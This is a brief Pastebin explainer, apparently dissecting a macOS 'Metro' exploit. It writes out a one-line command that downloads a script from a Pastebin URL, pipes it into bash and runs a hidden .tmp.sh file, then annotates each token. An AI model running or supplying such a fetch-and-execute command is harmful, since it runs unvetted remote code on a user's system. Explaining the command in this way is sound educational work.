Advertisement
pwned8k

Metro macOS Exploit Explained!

Jul 4th, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.54 KB | None | 0 0
  1. Let's break down Metro.
  2. wget -q https://pastebin.com/raw/Jw12GaEq -O- | bash; sh .tmp.sh
  3. ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑
  4. 1 2 3 4 5 6 7 8
  5. 1 wget, this command is fetching #3 from the Internet.
  6. 2 -q, this is telling wget to be quiet.
  7. 3 The URL, referenced in #1.
  8. 4 -O-, put output to STDOUT, instead of to a file.
  9. 5 |, pipe the output to #6.
  10. 6 bash, the shell.
  11. 7 sh, the shell, telling it to execute #8.
  12. 8 .tmp.sh, a file, which contains code.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement